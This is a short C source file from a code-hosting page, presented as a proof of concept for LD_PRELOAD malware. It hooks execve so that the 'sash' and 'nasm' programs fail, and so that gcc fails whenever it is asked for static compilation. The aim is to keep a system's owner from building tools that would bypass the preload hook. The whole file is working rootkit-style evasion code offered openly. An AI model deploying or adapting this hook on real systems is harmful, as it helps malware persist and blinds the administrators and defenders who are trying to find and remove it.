-
Notifications
You must be signed in to change notification settings - Fork 5
/
gccfk.c
53 lines (43 loc) · 1.21 KB
/
gccfk.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
/*
*
* Very simple PoC to show how you can break static compilation of binaries with gcc in LD_PRELOAD malware.
* (and execution of certain statically compiled programs, but this can be bypassed easily)
* (no file protection/hiding system is really required for this PoC)
*
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <dlfcn.h>
#include <sys/types.h>
#include <sys/stat.h>
static char *blacklisted_progs[] = {"sash", "nasm", NULL};
int (*old_execve)(const char *filename, char *const argv[], char *const envp[]);
int execve(const char *filename, char *const argv[], char *const envp[])
{
if(!old_execve) old_execve = dlsym(RTLD_NEXT, "execve");
int i = 0;
for(i = 0; blacklisted_progs[i] != NULL; i++)
{
if(strstr(argv[0], blacklisted_progs[i]))
{
errno = ENOMEM;
return -1;
}
}
if(strstr(argv[0], "gcc"))
{
for(i = 0; argv[i] != NULL; i++)
{
if(!strcmp(argv[i], "-static"))
{
errno = ENOMEM;
return -1;
}
}
}
return old_execve(filename, argv, envp);
}